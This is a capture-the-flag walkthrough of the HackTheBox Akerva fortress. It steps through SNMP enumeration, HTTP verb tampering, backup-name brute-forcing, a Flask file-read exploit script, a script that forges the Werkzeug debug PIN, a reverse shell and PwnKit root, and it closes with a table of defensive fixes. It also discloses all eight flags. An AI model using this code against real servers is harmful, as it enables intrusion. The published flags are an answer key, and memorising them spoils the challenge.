HackTheBox Fortress: Akerva — Web Recon → LFI → Werkzeug PIN Bypass → PwnKit

Complete Akerva Fortress writeup translated from the xchg2pwn Spanish original. 8 flags: HTML comment leak → SNMP public v2c → HTTP verb tampering → predictable backup filename brute → Flask LFI → Werkzeug debug console PIN forge → PwnKit CVE-2021-4034 → base64+Vigenère decode.

Akerva Fortress
HackTheBox
Linux Hard Fortress

1. About Akerva Fortress

Akerva is a HackTheBox Fortress focused on a wide spectrum of web-app misconfigurations escalating into local privilege escalation and a classical crypto puzzle. Eight flags total, each gated behind a distinct primitive. Most flags can be reached without any one being a hard dependency — recon-heavy fortresses reward parallel hypothesis-testing.

The technical signature of Akerva is variety over depth: you will spend more time switching context (curl → snmpwalk → Flask app → Werkzeug console → bash priv-esc → Vigenère decryption) than drilling into any single tool. That mirrors how real external assessments unfold — break down the target into multiple parallel investigation tracks, follow each as far as it goes.

This English walkthrough is translated from the original Spanish writeup at xchg2pwn.github.io/fortresses/akerva/ by @xchg2pwn, with the source author's screenshots preserved.

Kill chain at a glance

#StageTechnique
F1Plain SightHTML source comment leak: curl -s 10.13.37.11 | grep AKERVA
F2Take a Look AroundUDP nmap reveals SNMP/161 → snmpbulkwalk -c public -v2c dumps OIDs including the flag + a script path leak
F3Dead PoetsHTTP verb tampering — script path 401 on GET but content readable on POST → flag in comment
F4Now You See MeScript reveals a predictable backup filename (epoch-driven, 17-min window) → wfuzz 4-digit brute → download zip → /dev/space_dev.py
F5Open BookFlask app on :5000 — credential is the previous flag value → LFI via /file?filename= → read user's flag.txt
F6Say Friend and Enterwfuzz finds /console — Werkzeug debug console requiring PIN → reconstruct PIN with MAC address + machine-id (both leakable via LFI) → arbitrary Python execution → reverse shell
F7Super Mushroompkexec CVE-2021-4034 (PwnKit) → root → /root/flag.txt
F8Little Secret/root/secured_note.md — base64 decode → Vigenère ciphertext → dcode.fr known-plaintext attack (we know flag starts with AKERVA) → decoded message contains the flag
All eight flags follow the AKERVA{...} format. The last flag itself spoils the encryption: AKERVA = key for the Vigenère cipher. Hard tier on HTB; technical depth is moderate per flag but breadth of techniques is what makes it feel involved.

2. Flag 1 — Plain Sight (HTML Comment)

Start with a standard TCP port scan.

nmap
bash
$ nmap 10.13.37.11
Nmap scan report for 10.13.37.11
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp

Open http://10.13.37.11/ — a basic landing page.

Akerva landing page — innocuous public-facing site
Akerva landing page — innocuous public-facing site

Right-click → View Source. The first flag is embedded as an HTML comment.

HTML source — the AKERVA{...} flag visible inside an HTML comment
HTML source — the AKERVA{...} flag visible inside an HTML comment

Confirm from the terminal:

curl + grep
bash
$ curl -s 10.13.37.11 | grep AKERVA
<!-- By the way, the first flag is: AKERVA{Ikn0w_F0rgoTTEN#CoMmeNts} -->
🚩 Flag #1 captured
Plain Sight — HTML source comment
AKERVA{Ikn0w_F0rgoTTEN#CoMmeNts}

3. Flag 2 — SNMP Default Community (Take a Look Around)

TCP recon shows only three ports. Always run a parallel UDP scan — most teams skip this. Top 100 UDP ports is a reasonable trade-off between coverage and time.

UDP nmap
bash
$ sudo nmap -T5 -sU --top-ports 100 --open 10.13.37.11
Nmap scan report for 10.13.37.11
PORT    STATE SERVICE
161/udp open  snmp

SNMP is open with the default community string public. Walk the entire MIB tree with snmpbulkwalk at SNMPv2c, then grep for the AKERVA flag format:

snmpbulkwalk
bash
$ snmpbulkwalk -c public -v2c 10.13.37.11 | grep AKERVA
iso.3.6.1.2.1.25.4.2.1.5.1254 = STRING: "/var/www/html/scripts/backup_every_17minutes.sh AKERVA{IkN0w_SnMP@@@MIsconfigur@T!onS}"
🚩 Flag #2 captured
Take a Look Around — SNMP misconfiguration
AKERVA{IkN0w_SnMP@@@MIsconfigur@T!onS}
💡 The flag also leaked a server-side script path: /var/www/html/scripts/backup_every_17minutes.sh. That script will gate the next two flags.

4. Flag 3 — HTTP Verb Tampering (Dead Poets)

Assuming the web root is /var/www/html, the leaked path translates to http://10.13.37.11/scripts/backup_every_17minutes.sh. Try to read it.

GET request — 401
bash
$ curl -s 10.13.37.11/scripts/backup_every_17minutes.sh
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you are authorized to access the document requested. ...</p>
<address>Apache/2.4.29 (Ubuntu) Server at 10.13.37.11 Port 80</address>
</body></html>

401 on GET. But the auth rule only filters GET — switch the method to POST and the same path returns the content. Classic HTTP verb tampering misconfiguration (typically a <Limit GET> block in Apache config instead of <LimitExcept>).

POST request — content
bash
$ curl -s -X POST 10.13.37.11/scripts/backup_every_17minutes.sh
#!/bin/bash
#
# This script performs backups of production and development websites.
# Backups are done every 17 minutes.
#
# AKERVA{IKNoW###VeRbTamper!nG_==}
#

SAVE_DIR=/var/www/html/backups

while true
do
  ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
  echo "Erasing old backups..."
  rm -rf $SAVE_DIR/*

  echo "Backuping..."
  zip -r $SAVE_DIR/$ARCHIVE_NAME /var/www/html/*

  echo "Done..."
  sleep 1020
done
🚩 Flag #3 captured
Dead Poets — HTTP verb tampering
AKERVA{IKNoW###VeRbTamper!nG_==}
Apache <Limit GET POST> blocks only restrict the listed methods. The correct pattern is <LimitExcept GET POST>Require all denied</LimitExcept> which restricts everything except the listed methods. The Akerva config used the wrong directive.

5. Flag 4 — Predictable Backup Filename (Now You See Me)

Read the script carefully — it spells out the full attack:

script analysis
shell
# the backup directory is web-accessible
/var/www/html/backups   →   http://10.13.37.11/backups

# filenames follow this template:
ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
# = backup_YYYYMMDDhhmmss

# new backup every 17 minutes (1020 seconds), all previous content erased

Get the current server time from the HTTP Date header — that fixes the date prefix.

time leak via Date header
bash
$ curl -s 10.13.37.11 -I | grep Date
Date: Mon, 10 Apr 2023 18:50:45 GMT

# template becomes:
# backup_20230410 18 MMSS .zip   ← only 4 digits unknown

A 10,000-entry wordlist of 4-digit values bruteforced through wfuzz finds the exact backup filename in seconds.

brute + unzip
bash
$ wfuzz -c -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt \
       -u http://10.13.37.11/backups/backup_2023041018FUZZ.zip \
       -t 100 --hc 404
000005208:   200   82458 L   808129 W   20937179 Ch   "5207"

$ wget http://10.13.37.11/backups/backup_20230410185207.zip
$ unzip backup_20230410185207.zip
$ ls var/www/html/
backups  dev  scripts  wp-admin  wp-content  wp-includes  index.php
license.txt  readme.html  wp-activate.php  wp-blog-header.php
wp-comments-post.php  wp-config-sample.php  wp-config.php  wp-cron.php
wp-links-opml.php  wp-load.php  wp-login.php  wp-mail.php
wp-settings.php  wp-signup.php  wp-trackback.php  xmlrpc.php

The leaked source includes a WordPress install + a /dev/ folder with a custom Flask app:

space_dev.py
python
$ ls var/www/html/dev/
space_dev.py

$ cat var/www/html/dev/space_dev.py
#!/usr/bin/python
from flask import Flask, request
from flask_httpauth import HTTPBasicAuth
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
auth = HTTPBasicAuth()

users = {
    "aas": generate_password_hash("AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}")
}

@auth.verify_password
def verify_password(username, password):
    if username in users:
        return check_password_hash(users.get(username), password)
    return False

@app.route('/')
@auth.login_required
def hello_world():
    return 'Hello, World!'

@app.route("/file")
@auth.login_required
def file():
    filename = request.args.get('filename')
    try:
        with open(filename, 'r') as f:
            return f.read()
    except:
        return 'error'

if __name__ == '__main__':
    print(app)
    print(getattr(app, '__name__', getattr(app.__class__, '__name__')))
    app.run(host='0.0.0.0', port='5000', debug=True)
🚩 Flag #4 captured
Now You See Me — backup filename brute + script source
AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}

6. Flag 5 — Flask LFI (Open Book)

The script binds Flask to 0.0.0.0:5000 with debug=True. Port 5000 was already open from the initial nmap. The basic-auth credential is the flag we just captured (aas:AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}).

Port 5000 — HTTP Basic Auth prompt from the Flask app
Port 5000 — HTTP Basic Auth prompt from the Flask app
Authenticated with aas:<F4 flag> as the password
Authenticated with aas:<F4 flag> as the password
After login — just "Hello, World!" on the / route
After login — just "Hello, World!" on the / route

The /file route reads any file the Flask process can open. Direct LFI:

/file?filename=/etc/passwd reads arbitrary files via the Flask route
/file?filename=/etc/passwd reads arbitrary files via the Flask route

Automate the LFI in a small script for easier exfil:

exploit.py
python
#!/usr/bin/python3
from pwn import log
import requests, sys

if len(sys.argv) < 2:
    log.failure(f"Usage: python3 {sys.argv[0]} <file>")
    sys.exit(1)

target = "http://10.13.37.11:5000/file"
params = {"filename": sys.argv[1]}
auth = ("aas", "AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}")

r = requests.get(target, auth=auth, params=params)
print(r.text.strip())
LFI exploitation
bash
$ python3 exploit.py /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
aas:x:1000:1000:Lyderic Lefebvre:/home/aas:/bin/bash

$ python3 exploit.py /home/aas/flag.txt
AKERVA{IKNOW#LFi_@_}
🚩 Flag #5 captured
Open Book — Flask LFI via /file route
AKERVA{IKNOW#LFi_@_}

7. Flag 6 — Werkzeug Debug Console PIN Forge (Say Friend and Enter)

Fuzz the Flask app for more endpoints. wfuzz with the common-content wordlist finds /console.

wfuzz
bash
$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt \
       -u http://10.13.37.11:5000/FUZZ -t 100 --hc 404
000001222:   200   52 L   186 W   1985 Ch   "console"
000001535:   401   0 L    2 W     19 Ch     "download"
000001784:   401   0 L    2 W     19 Ch     "file"
Werkzeug debug console at /console — locked behind a PIN prompt
Werkzeug debug console at /console — locked behind a PIN prompt

Werkzeug's debug console is gated by a deterministic PIN derived from public + private bits of the host. The HackTricks page documents the algorithm. We need:

  • Username — running the Flask app. We know from /etc/passwd: aas.
  • Modname — usually flask.app.
  • App class name — usually Flask.
  • App file path — varies by Python version. Confirm via the Server header.
  • MAC address as decimal — read via LFI from /sys/class/net/<iface>/address.
  • Machine ID — read via LFI from /etc/machine-id.
pin inputs
bash
# Server version → reveals Python 2.7 path
$ curl -s 10.13.37.11:5000/console -I | grep Server
Server: Werkzeug/0.16.0 Python/2.7.15+
# →  /usr/local/lib/python2.7/dist-packages/flask/app.pyc

# MAC address via LFI, convert to decimal
$ python3 exploit.py /sys/class/net/ens33/address
00:50:56:b9:da:06

$ python3
>>> 0x005056b9da06
345052404230

# Machine ID via LFI
$ python3 exploit.py /etc/machine-id
258f132cd7e647caaf5510e3aca997c1

Compute the PIN

pin.py
python
import hashlib
from itertools import chain

probably_public_bits = [
    'aas',
    'flask.app',
    'Flask',
    '/usr/local/lib/python2.7/dist-packages/flask/app.pyc'
]

private_bits = [
    '345052404230',                       # str(uuid.getnode()) — MAC as decimal
    '258f132cd7e647caaf5510e3aca997c1'    # /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit: continue
    if isinstance(bit, str): bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
        rv = '-'.join(num[x:x+group_size].rjust(group_size, '0')
                     for x in range(0, len(num), group_size))
        break
else:
    rv = num

print(rv)
pin computation
bash
$ python3 pin.py
249-759-504
Werkzeug console unlocked — we can now execute arbitrary Python
Werkzeug console unlocked — we can now execute arbitrary Python
os.popen() returns the output where os.system() only returns the exit code
os.popen() returns the output where os.system() only returns the exit code
ls -la reveals .hiddenflag.txt
ls -la reveals .hiddenflag.txt

Easiest path forward: drop a bash reverse shell via the console:

Sending a bash reverse shell from the unlocked console
Sending a bash reverse shell from the unlocked console
reverse shell as aas
bash
$ sudo nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.13.37.11
aas@Leakage:~$ id
uid=1000(aas) gid=1000(aas) groups=1000(aas),24(cdrom),30(dip),46(plugdev)

aas@Leakage:~$ cat .hiddenflag.txt
AKERVA{IkNOW#=ByPassWerkZeugPinC0de!}
🚩 Flag #6 captured
Say Friend and Enter — Werkzeug debug console PIN forge
AKERVA{IkNOW#=ByPassWerkZeugPinC0de!}
The PIN changes every time the machine reboots (machine-id stays the same on Akerva but MAC may not). Re-run the LFI extraction + recompute if you reset the lab.

8. Flag 7 — pkexec PwnKit / sudo Baron Samedit (Super Mushroom)

Check sudo version + SUID enumeration — both yield privilege escalation paths.

sudo + SUID enum
bash
aas@Leakage:~$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

# That's vulnerable to CVE-2021-3156 (Baron Samedit / sudo heap overflow)

aas@Leakage:~$ find / -perm -4000 2>/dev/null | grep -v snap
/usr/bin/pkexec       ← SUID, pre-PwnKit patch
...
/usr/bin/sudo
...
aas@Leakage:~$ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec

Two paths to root. Either works.

Option A — sudo CVE-2021-3156

Baron Samedit
shell
aas@Leakage:/tmp$ python3 exploit_nss.py
# whoami
root

Option B — pkexec CVE-2021-4034 (PwnKit)

PwnKit
shell
aas@Leakage:/tmp$ python3 CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# whoami
root

# /bin/bash for interactive shell, then:
root@Leakage:~# cat /root/flag.txt
AKERVA{IkNow_Sud0_sUckS!}
🚩 Flag #7 captured
Super Mushroom — pkexec PwnKit (or sudo Baron Samedit)
AKERVA{IkNow_Sud0_sUckS!}

9. Flag 8 — base64 + Vigenère (Little Secret)

In /root/ alongside flag.txt is a second file:

secured_note.md
shell
root@Leakage:~# ls
flag.txt  secured_note.md

root@Leakage:~# cat secured_note.md
R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNL
UkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVM
U1BNSUhITU9EQVVLSEUK

@AKERVA_FR | @lydericlefebvre

The first three lines are base64-encoded. Decode:

base64 decode
shell
root@Leakage:~# head -n3 secured_note.md | base64 -d
GOAHGHEEGSAEEHACEGULREPEEECEOKMKERFSESFRLKERUKTSVPMSSNHSKRFFAGIAPVETCNMDLVFHDAOGFLAFGSKEULMVOOWWCAHCRFVVNVHVCMSYELSPMIHHMODAUKHE

Looks like a Vigenère ciphertext. Two clues:

  • Known plaintext: we know the message will contain AKERVA (the flag pattern).
  • Used alphabet: missing letters from the ciphertext are B, J, Q, X, Z — so the reduced alphabet is ACDEFGHIKLMNOPRSTUVWY.

Plug both into dcode.fr Vigenère solver with the known-plaintext attack.

dcode.fr Vigenère solver — known-plaintext attack with AKERVA hint and reduced alphabet
dcode.fr Vigenère solver — known-plaintext attack with AKERVA hint and reduced alphabet

The decoded message reads:

decoded message
shell
WELLDONEFORSOLVINGTHISCHALLENGEYOUCANSENDYOURRESUMEHEREATRECRUTEMENTAKERVACOMANDVALIDATETHELASTFLAGWITHAKERVAIKNOOOWVIGEEENERRRE

# Well done for solving this challenge! You can send your resume here
# at [email protected] and validate the last flag with
# AKERVA{IKNOOOWVIGEEENERRRE}
🚩 Flag #8 captured
Little Secret — base64 + Vigenère decryption
AKERVA{IKNOOOWVIGEEENERRRE}
💡 This is also the password to the StatiCrypt-protected source writeup on xchg2pwn.github.io — the author used the final flag as the page password.

10. Defenders' takeaways

Every primitive in Akerva is a documented misconfiguration or known CVE. Defender map per stage:

Bug classMitigation
HTML comment leakStrip server-side comments at build time. Minifiers (UglifyJS, Terser, htmlmin) remove HTML comments by default. CI step: grep for sensitive patterns (FLAG, AKERVA, password, secret) across all rendered HTML.
SNMP default communityDisable SNMP on production servers if not strictly needed. If required: SNMPv3 with authentication + encryption, never v1/v2c with public. Firewall UDP/161 to monitoring source IPs only.
HTTP verb tamperingApache: use <LimitExcept> not <Limit> for restricting access. Nginx: don't rely on $request_method filtering — implement auth at the application layer. WAF rule to alert on uncommon methods (TRACE, TRACK, PROPFIND, etc.) reaching prod.
Predictable backup filenames + public backups dirMove backups OFF the web root. Add a random UUID component to filenames (not a timestamp). Restrict backup access to admin via auth or firewall. Never expose /backups publicly.
Sensitive credentials in source codeStatic analysis (semgrep, trufflehog, gitleaks) catch hardcoded passwords. Move secrets to environment variables / secret managers (Vault, AWS Secrets Manager). The Flask basic-auth pattern here is fine — but the password being an unguessable flag means it's effectively never rotated.
Flask LFI via user-controlled filenameNever call open(user_input, ...). Allowlist filenames, resolve to absolute paths, verify resolved path is inside a safe base directory using os.path.commonpath. Better: use a database/object-store, not raw filesystem.
Werkzeug debug=True in productionNEVER run Flask with debug=True in production. The PIN-protected console is a 2018 mitigation, but as Akerva shows, the PIN is forgeable given LFI. Use gunicorn / uwsgi / mod_wsgi for production — they don't expose /console.
pkexec PwnKit (CVE-2021-4034) + sudo Baron Samedit (CVE-2021-3156)Patch — both fixes have been available since Jan 2021 (sudo) / Jan 2022 (pkexec). Run vulnerability scanning (OpenSCAP, Wazuh) to surface unpatched CVEs.
Weak custom crypto (Vigenère)Don't roll your own crypto. Use libsodium / NaCl / language-native authenticated encryption (AES-GCM, ChaCha20-Poly1305). Vigenère with a known-format target (AKERVA prefix) is broken by elementary cryptanalysis.

11. Closing thoughts

Akerva is a recon-heavy fortress that rewards broad scanning + careful reading of every artifact you find. Three things to internalise:

Always do a UDP scan. The entire chain pivots from the SNMP discovery in flag 2 — without that you have an HTML comment leak and nothing else. nmap -sU --top-ports 100 takes minutes and is the highest-ROI recon step most pentesters skip.

HTTP verb tampering is a real config mistake, not just CTF flavor. Apache <Limit> vs <LimitExcept> trips production deployments regularly. Audit your reverse-proxy rules for any allowlist that names specific methods rather than restricting everything-except.

Flask debug=True is the most-exploited prod misconfiguration of the last decade. If you build with Flask, audit every app.run() for debug=True. Use a real WSGI server in production. The Akerva PIN-forge chain (LFI → /sys/class/net + /etc/machine-id → arbitrary code execution) is exactly what every Werkzeug debug-mode RCE writeup shows.

💡 Next Fortresses on lazyhackers: Faraday for Flask SSTI + LKM rootkit, Jet for binary exploitation breadth, Synacktiv for multi-stage AD. Pro Lab next? Try Cybernetics for 3-domain forest compromise.
Original Spanish writeup by @xchg2pwn. Translated and reformatted here in English with source author's screenshots preserved. Original page is StatiCrypt-protected with password AKERVA{IKNOOOWVIGEEENERRRE} (the final flag itself).
Reactions

Related Articles